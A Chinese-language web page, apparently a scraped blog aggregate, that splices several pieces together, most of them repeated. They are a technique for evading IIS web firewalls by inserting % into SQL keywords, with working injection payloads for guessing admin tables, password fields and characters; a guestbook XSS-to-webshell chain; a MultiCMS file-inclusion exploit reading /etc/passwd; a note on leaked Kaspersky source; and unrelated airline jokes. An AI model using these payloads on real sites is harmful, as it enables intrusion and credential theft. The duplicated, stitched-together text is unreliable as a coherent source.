先来说URL编码,%加两位的16进制表示一个字符,比如’经过编码之后就是%27,这是人人都知道的URL编码规则,UrlUnescapeInPlace之类的API函数甚至于程序员自己写的URL译码函数都是基于这一思想。
然而,我们何必如此听话,试想一下要是%后跟的不是16进制数字而是像abc%hh会发生什么事呢。先看UrlUnescapeInPlace,
写个小程序试一下,abc%hh经过译码还是abc%hh;再看asp.dll是怎么译码的,在asp页面中写入 response.Write(request.QueryString("str")),然后用?str=abc%hh访问它,页面显示 abchh,它直接把%给去掉了。
现在来思考要是我们提交sele%ct,信息监控系统得到的字符串还是sele%ct,当然它不是危险字符,它就不会拦截,但对于ASP,它得到的可就是select了,其它的同理,’可用%’表示,比如 and exists(select * from admin)可转化为以下字符串 a%nd ex%ists(%select * %from ad%min)。此方法可举一反三,比如用%%代替%都可以,还可以是其它的,具体的可以去看RFC2396。
以上仅是对于GET方式的分析,POST没试过,不过猜想也是可以的。并且经测试以上方法对目前的所有IIS防火墙都有效,包括VIF。
补充:其实发现这个漏洞已经有好些日子了,本来我是不想公开的,前些天两次给一流信息监控的人发邮件提醒他们,但他们就是没认真考虑我说的问题,还说一流信息系统可以把经过编码的注入字符也加到过滤清单中,不知道他们是怎么想的,他是觉得再加一条sele%ect过滤规则就可以了?那sele%%ct呢,也加上?那sele%%%ct呢??
利用语句:
a%nd 1=1 就是 and 1=1 的意思 返回正常
a%nd 1=2 and 1=2 返回错误 说明存在注入
a%nd ex%ists(%select * %from ad%min) 或者 a%nd (%select count(*) from ad%min)>0
查询是否存在ADMIN这个表名 返回正确 说明存在ADMIN这个表名
and exists (select top 1 [admin] from [admin])
a%nd ex%ists(%select top 1 [ad%min] from [ad%min]) 查询ADMIN表里是否存在ADMIN这个字段 正确说明存在
and exists (select top 1 [UserPassword from [admin])
a%nd ex%ists(%select top 1 [UserPassword] from [ad%min]) 查询ADMIN表里是否存在UserPassword这个字段
正确说明存在UserPassword这个字段
and (select top 1 len(admin) from admin)>N
a%nd (%select top 1 len(ad%min) from ad%min)>N 查询字段长度 如果>5返回错误页面,>4返回正常页面,则证明字段为5
证明ADMIN这个字段为5
and (select top 1 asc(mid(列名,N,1)) from 表名)>N //前面的N代表当前猜解第几位数据,后面的N代表ASCII码,英文和数字的ASCII码在1-128之间
a%nd (%select top 1 asc(mid(admin,N,1)) from admin)>N
a 是97 返回正确 第一个是a d是99 依次类推 最后可以得到用户名为admin
联合查询:
order by 12
o%rder by 12
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin
a%nd 1=2 union %select 1,2,3,4,5,6,7,8,9,10,11,12 from ad%min
然而,我们何必如此听话,试想一下要是%后跟的不是16进制数字而是像abc%hh会发生什么事呢。先看UrlUnescapeInPlace,
写个小程序试一下,abc%hh经过译码还是abc%hh;再看asp.dll是怎么译码的,在asp页面中写入 response.Write(request.QueryString("str")),然后用?str=abc%hh访问它,页面显示 abchh,它直接把%给去掉了。
现在来思考要是我们提交sele%ct,信息监控系统得到的字符串还是sele%ct,当然它不是危险字符,它就不会拦截,但对于ASP,它得到的可就是select了,其它的同理,’可用%’表示,比如 and exists(select * from admin)可转化为以下字符串 a%nd ex%ists(%select * %from ad%min)。此方法可举一反三,比如用%%代替%都可以,还可以是其它的,具体的可以去看RFC2396。
以上仅是对于GET方式的分析,POST没试过,不过猜想也是可以的。并且经测试以上方法对目前的所有IIS防火墙都有效,包括VIF。
补充:其实发现这个漏洞已经有好些日子了,本来我是不想公开的,前些天两次给一流信息监控的人发邮件提醒他们,但他们就是没认真考虑我说的问题,还说一流信息系统可以把经过编码的注入字符也加到过滤清单中,不知道他们是怎么想的,他是觉得再加一条sele%ect过滤规则就可以了?那sele%%ct呢,也加上?那sele%%%ct呢??
利用语句:
a%nd 1=1 就是 and 1=1 的意思 返回正常
a%nd 1=2 and 1=2 返回错误 说明存在注入
a%nd ex%ists(%select * %from ad%min) 或者 a%nd (%select count(*) from ad%min)>0
查询是否存在ADMIN这个表名 返回正确 说明存在ADMIN这个表名
and exists (select top 1 [admin] from [admin])
a%nd ex%ists(%select top 1 [ad%min] from [ad%min]) 查询ADMIN表里是否存在ADMIN这个字段 正确说明存在
and exists (select top 1 [UserPassword from [admin])
a%nd ex%ists(%select top 1 [UserPassword] from [ad%min]) 查询ADMIN表里是否存在UserPassword这个字段
正确说明存在UserPassword这个字段
and (select top 1 len(admin) from admin)>N
a%nd (%select top 1 len(ad%min) from ad%min)>N 查询字段长度 如果>5返回错误页面,>4返回正常页面,则证明字段为5
证明ADMIN这个字段为5
and (select top 1 asc(mid(列名,N,1)) from 表名)>N //前面的N代表当前猜解第几位数据,后面的N代表ASCII码,英文和数字的ASCII码在1-128之间
a%nd (%select top 1 asc(mid(admin,N,1)) from admin)>N
a 是97 返回正确 第一个是a d是99 依次类推 最后可以得到用户名为admin
联合查询:
order by 12
o%rder by 12
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin
a%nd 1=2 union %select 1,2,3,4,5,6,7,8,9,10,11,12 from ad%min
YesCK祝大家在以后的日子里,男生象Oracle般健壮;女生象Ubuntu般漂亮;桃花运象IE中毒般频繁;钱包如Gmail容量般壮大;升职速度赶上微软打补丁;追女朋友像木马一样猖獗;生活像重装电脑后一样幸福;写程序敲代码和聊天一样有激情。再祝大家新年快乐!
未对Book.asp邮箱等处进行符号转义,导致XSS跨站执行漏洞。
------GetShell-----
[1] 在Book.asp的邮箱处填写一句话,提交
[2] 在Book.asp的邮箱处填写XSS语句中的CSRF
[3] 等待管理员触发XSS语句,然后一句话连接bem.asp
[要求] 默认后台管理目录/数据库
[注意] 管理触发XSS是在后台查看留言
------ X S S -----
Book.asp
在邮箱里处写入XSS语句即可
用XSS调用CSRF,例如把CSRF去转成JS的则用
----- CSRF -----
----- 分析 -----
未对Book.asp邮箱等处进行符号转义
未过滤提交语句
------GetShell-----
[1] 在Book.asp的邮箱处填写一句话,提交
[2] 在Book.asp的邮箱处填写XSS语句中的CSRF
[3] 等待管理员触发XSS语句,然后一句话连接bem.asp
[要求] 默认后台管理目录/数据库
[注意] 管理触发XSS是在后台查看留言
------ X S S -----
Book.asp
在邮箱里处写入XSS语句即可
用XSS调用CSRF,例如把CSRF去转成JS的则用
----- CSRF -----
----- 分析 -----
未对Book.asp邮箱等处进行符号转义
未过滤提交语句
MultiCMS是一款灵活的内容管理系统,可以帮你建立专业的网站。MultiCMS的index.php文件存在本地文件包含漏洞,可能导致敏感信息泄露。
[+]info:
~~~~~~~~~
# Date: 29/01/2011
# Author: R3VAN_BASTARD
# Exploit Title: MultiCMS File Inclusion Vulnerbility
# Vendor: http://www.multicms.net
# Status: FIXED
# Tested on: Windows 7
# Dork: "Redakcnà systém MultiCMS"
# Mail: defrontliner@whiteponny.com
[+]poc:
~~~~~~~~~
# File: /Index.php?lng=[LFI]
# XPL: http://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/passwd%00
http://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00
[+]Reference:
~~~~~~~~~
http://packetstormsecurity.org/files/view/97987/multicms-lfi.txt
[+]info:
~~~~~~~~~
# Date: 29/01/2011
# Author: R3VAN_BASTARD
# Exploit Title: MultiCMS File Inclusion Vulnerbility
# Vendor: http://www.multicms.net
# Status: FIXED
# Tested on: Windows 7
# Dork: "Redakcnà systém MultiCMS"
# Mail: defrontliner@whiteponny.com
[+]poc:
~~~~~~~~~
# File: /Index.php?lng=[LFI]
# XPL: http://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/passwd%00
http://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00
[+]Reference:
~~~~~~~~~
http://packetstormsecurity.org/files/view/97987/multicms-lfi.txt
近日,有人向记者暴料,卡巴斯基的安全套装产品之一的源代码已经泄露,并可以从网上下载(压缩包大小约300MB)。并称,源代码涉及的版本是Kaspersky Internet Security 8.0/2009的一个测试版。
该代码是C + +和Delphi编写的,涵盖反病毒引擎,以及反钓鱼,反拨号器,防垃圾邮件,家长控制等模块。据包内的发行说明,被泄露的源码是卡巴斯基实验室在2008年和过去所做的更改从2007年12月他们的日期。
下载文件 (已下载 323 次)
该代码是C + +和Delphi编写的,涵盖反病毒引擎,以及反钓鱼,反拨号器,防垃圾邮件,家长控制等模块。据包内的发行说明,被泄露的源码是卡巴斯基实验室在2008年和过去所做的更改从2007年12月他们的日期。
下载文件 (已下载 323 次)
1、(登机中,空姐MM在机门口迎客,上来一位帅哥……)
空姐MM:"欢迎您登机,请问您是什么座?"
帅哥:"我是天蝎座,你呢!"
空姐(一脸害羞状):"真的嘛,好巧噢,我也是天蝎座耶……"
后面排队的乘客晕倒。
2、(登机完毕,广播响起……)
空姐:"女士们,先生们,欢迎乘坐本次航班,请您坐在跑道上,系好安全带,我们的飞机马上就要起飞了……"
乘客暴寒……
3、(飞机处于起飞状态中,轰鸣声甚大,空姐A与空姐B坐在头等仓闲聊……)
空姐A:"看,那个旅客的鼻毛露出来了,呵呵~"
空姐B:" 听不见,你说什么?"
空姐A只好又大声重复了一遍,结果空姐B依然摇头示意听不见 。
这时,那名旅客走了过来,凑到空姐B耳边说:"小姐,她说我的鼻毛露出来了!"
4、(飞机终于"爬"上高空,进入平稳飞行状态,空姐开始送饮料……)
"叮咚~"
一名男乘客按响了呼唤铃。
空姐:"先生,请问有什么需要帮助吗?"
男乘客默然。(可能第一次坐飞机,他有点紧张。)
空姐解释:"这是呼唤铃,如果有什么需要再按它,我们会及时帮助您!"
乘客男点点头。
可还没等空姐MM回到坐位,呼唤铃又响了。空姐MM回头一看,只见乘客男站起来,嘴对着呼唤铃大声喊到:"可乐~加冰~"
空姐:……
5、(空姐继送饮料中……)
"太太,您好!请问要喝点什么吗?"
中年女乘客不好意思地说:"不喝,不喝。"
于是空姐小声地说:"免费的哦……"
女乘客:"啊?免费的啊!我要一杯橙汁,一杯可乐,一杯咖啡,还要……"
说完,这名女乘客想想,又从包里拿出一个瓶子说:"再给我灌点豆浆在里面!我要把飞机票喝回来。"
空姐晕眩……
6、(空姐打起精神继送饮料中……)
空姐:"先生您是喝橙汁还是喝苹果汁?"
旅客:"你们这儿的橙汁有苹果味儿的吗?"
空姐继续晕眩中……
7、(空姐扶墙送饮料中……)
空姐:"您好,请问有什么可以帮您的吗?
旅客:"能要一杯水吗?"
空姐:"当然可以,矿泉水吗?"
旅客:"有果汁吗?"
空姐:"有,橙汁和桃汁请问需要哪一种?"
旅客:"有可乐吗?"
空姐:"有,需要加冰吗?"
旅客:"那给我一咖啡吧!"
空姐:@%¥@^×……
8、(空姐MM手拿两 咖啡回?客舱……)
这时,一位旅客指着窗外问空姐:"小姐,这是什么湖啊?"
空姐MM回答:"咖啡壶。"
旅客晕眩中……
9、(叮咚,呼唤铃又响了……)
旅客:"小姐,有指甲剪吗?"
空姐:"您当我是小叮当啊……"
10、(机舱集体无语中,飞机平稳地飞行着,这时,广播里传来了机长愉快的声音……)
"女士们,先生们,我是你们的机长,欢迎大家乘做本次航班,我想告诉大家的是…
…啊!天哪!!"
机长话说了一半,突然发出了一声KB的惊叫,之后,广播里就再没有声音了。这时,所有的乘客都吓话坏了,连空姐也害怕的不知所措,机舱内鸦雀无声……
过了好一会,广播终于传来了机长的声音:
"女士们、先生们,真对不起,让大家受惊了。发生了一点小小的意外,刚才乘务员给我到咖啡的时候,不小心把咖啡撒在了我的衬衣上,不信你们来看,都湿透了!"
这时,机舱里响起一个乘客怒气冲天的抱怨声:"衬衫湿了算什么,你来看看我的裤裆!"
机长晕眩中……
11、(不知不觉,供餐时间又到了,空姐MM开始送食品……)
空姐:"先生,我们有鸡肉米饭和鱼肉米饭,请问您吃哪种?"
旅客:"排骨!"
空姐:"先生,我们有鸡肉米饭、鱼肉米饭,请问您选哪种?"
旅客:"排骨!"
空姐(沉默片刻后):"我们有鸡排骨和鱼排骨,您吃哪种?"
12、(空姐继续送饭中……)
空姐:"鱼肉米饭和猪肉米饭请问要哪种?"
旅客:"我们两个要猪,他要鱼!"
13、(空姐继续晕眩送饭中……)
空姐:"请问牛和鱼您喜欢哪种?"
乘客:"好的,我要 牛和 。"
空姐:"是牛,和鱼。"
乘客:"哦!那我要 和鱼 。"
14、(用餐完毕,空姐开始收餐盘……)
一个旅客指着吃得干干净净的餐盘(连根菜叶都没剩下)抱怨道:"小姐,你们的餐食太差了,简直就是狗食!"
空姐无语中……
15、(大多数乘客都递上餐盘便于乘务员收取,而一名靠窗的乘客无动于衷,空姐MM伸手够不着,于是……)
空姐:"先生,麻烦您把餐盘递一下好吗?"
那名乘客傲慢地回答:"你是服务员,还是我是服务员?"
空姐很礼貌地回答:"是的,先生!我是服务员,但我不是长臂猿!"
16、(飞机飞临北京上空,准备降落中……)
飞机落地前,空姐要做好签封工作,可是刚签封完就有一名旅客向空姐要可乐。
空姐:"对不起,我们都 封 了"。
旅客怒答:"至于嘛!我就要个可乐,你们就疯啦?"
空姐:……
17、(飞机还在滑行中,旅客就已经都站起来拿行李了,为了安全,空姐又拿起了广播……)
原本,空姐MM应该说:"女士们,先生们,我们的飞机还在滑行,请您坐好,并关闭头顶上方的行李架。"结果,她一着急广播成了:"女士们,先生们,我们的飞机滑得还行……"
这时候,"叮咚~"内话机又响了,里面传来机长的声音:"谁夸我呢?"
空姐崩溃中……
18、(飞机终于停下了,空姐MM心里老想着赶班车去东直门肯德基餐厅和男友约会,于是广播又传来如下温馨提示……)
"女士们,先生们,我们的飞机已经抵达首都北京东直门肯德基机场……再见~"
旅客疯了……
空姐MM:"欢迎您登机,请问您是什么座?"
帅哥:"我是天蝎座,你呢!"
空姐(一脸害羞状):"真的嘛,好巧噢,我也是天蝎座耶……"
后面排队的乘客晕倒。
2、(登机完毕,广播响起……)
空姐:"女士们,先生们,欢迎乘坐本次航班,请您坐在跑道上,系好安全带,我们的飞机马上就要起飞了……"
乘客暴寒……
3、(飞机处于起飞状态中,轰鸣声甚大,空姐A与空姐B坐在头等仓闲聊……)
空姐A:"看,那个旅客的鼻毛露出来了,呵呵~"
空姐B:" 听不见,你说什么?"
空姐A只好又大声重复了一遍,结果空姐B依然摇头示意听不见 。
这时,那名旅客走了过来,凑到空姐B耳边说:"小姐,她说我的鼻毛露出来了!"
4、(飞机终于"爬"上高空,进入平稳飞行状态,空姐开始送饮料……)
"叮咚~"
一名男乘客按响了呼唤铃。
空姐:"先生,请问有什么需要帮助吗?"
男乘客默然。(可能第一次坐飞机,他有点紧张。)
空姐解释:"这是呼唤铃,如果有什么需要再按它,我们会及时帮助您!"
乘客男点点头。
可还没等空姐MM回到坐位,呼唤铃又响了。空姐MM回头一看,只见乘客男站起来,嘴对着呼唤铃大声喊到:"可乐~加冰~"
空姐:……
5、(空姐继送饮料中……)
"太太,您好!请问要喝点什么吗?"
中年女乘客不好意思地说:"不喝,不喝。"
于是空姐小声地说:"免费的哦……"
女乘客:"啊?免费的啊!我要一杯橙汁,一杯可乐,一杯咖啡,还要……"
说完,这名女乘客想想,又从包里拿出一个瓶子说:"再给我灌点豆浆在里面!我要把飞机票喝回来。"
空姐晕眩……
6、(空姐打起精神继送饮料中……)
空姐:"先生您是喝橙汁还是喝苹果汁?"
旅客:"你们这儿的橙汁有苹果味儿的吗?"
空姐继续晕眩中……
7、(空姐扶墙送饮料中……)
空姐:"您好,请问有什么可以帮您的吗?
旅客:"能要一杯水吗?"
空姐:"当然可以,矿泉水吗?"
旅客:"有果汁吗?"
空姐:"有,橙汁和桃汁请问需要哪一种?"
旅客:"有可乐吗?"
空姐:"有,需要加冰吗?"
旅客:"那给我一咖啡吧!"
空姐:@%¥@^×……
8、(空姐MM手拿两 咖啡回?客舱……)
这时,一位旅客指着窗外问空姐:"小姐,这是什么湖啊?"
空姐MM回答:"咖啡壶。"
旅客晕眩中……
9、(叮咚,呼唤铃又响了……)
旅客:"小姐,有指甲剪吗?"
空姐:"您当我是小叮当啊……"
10、(机舱集体无语中,飞机平稳地飞行着,这时,广播里传来了机长愉快的声音……)
"女士们,先生们,我是你们的机长,欢迎大家乘做本次航班,我想告诉大家的是…
…啊!天哪!!"
机长话说了一半,突然发出了一声KB的惊叫,之后,广播里就再没有声音了。这时,所有的乘客都吓话坏了,连空姐也害怕的不知所措,机舱内鸦雀无声……
过了好一会,广播终于传来了机长的声音:
"女士们、先生们,真对不起,让大家受惊了。发生了一点小小的意外,刚才乘务员给我到咖啡的时候,不小心把咖啡撒在了我的衬衣上,不信你们来看,都湿透了!"
这时,机舱里响起一个乘客怒气冲天的抱怨声:"衬衫湿了算什么,你来看看我的裤裆!"
机长晕眩中……
11、(不知不觉,供餐时间又到了,空姐MM开始送食品……)
空姐:"先生,我们有鸡肉米饭和鱼肉米饭,请问您吃哪种?"
旅客:"排骨!"
空姐:"先生,我们有鸡肉米饭、鱼肉米饭,请问您选哪种?"
旅客:"排骨!"
空姐(沉默片刻后):"我们有鸡排骨和鱼排骨,您吃哪种?"
12、(空姐继续送饭中……)
空姐:"鱼肉米饭和猪肉米饭请问要哪种?"
旅客:"我们两个要猪,他要鱼!"
13、(空姐继续晕眩送饭中……)
空姐:"请问牛和鱼您喜欢哪种?"
乘客:"好的,我要 牛和 。"
空姐:"是牛,和鱼。"
乘客:"哦!那我要 和鱼 。"
14、(用餐完毕,空姐开始收餐盘……)
一个旅客指着吃得干干净净的餐盘(连根菜叶都没剩下)抱怨道:"小姐,你们的餐食太差了,简直就是狗食!"
空姐无语中……
15、(大多数乘客都递上餐盘便于乘务员收取,而一名靠窗的乘客无动于衷,空姐MM伸手够不着,于是……)
空姐:"先生,麻烦您把餐盘递一下好吗?"
那名乘客傲慢地回答:"你是服务员,还是我是服务员?"
空姐很礼貌地回答:"是的,先生!我是服务员,但我不是长臂猿!"
16、(飞机飞临北京上空,准备降落中……)
飞机落地前,空姐要做好签封工作,可是刚签封完就有一名旅客向空姐要可乐。
空姐:"对不起,我们都 封 了"。
旅客怒答:"至于嘛!我就要个可乐,你们就疯啦?"
空姐:……
17、(飞机还在滑行中,旅客就已经都站起来拿行李了,为了安全,空姐又拿起了广播……)
原本,空姐MM应该说:"女士们,先生们,我们的飞机还在滑行,请您坐好,并关闭头顶上方的行李架。"结果,她一着急广播成了:"女士们,先生们,我们的飞机滑得还行……"
这时候,"叮咚~"内话机又响了,里面传来机长的声音:"谁夸我呢?"
空姐崩溃中……
18、(飞机终于停下了,空姐MM心里老想着赶班车去东直门肯德基餐厅和男友约会,于是广播又传来如下温馨提示……)
"女士们,先生们,我们的飞机已经抵达首都北京东直门肯德基机场……再见~"
旅客疯了……






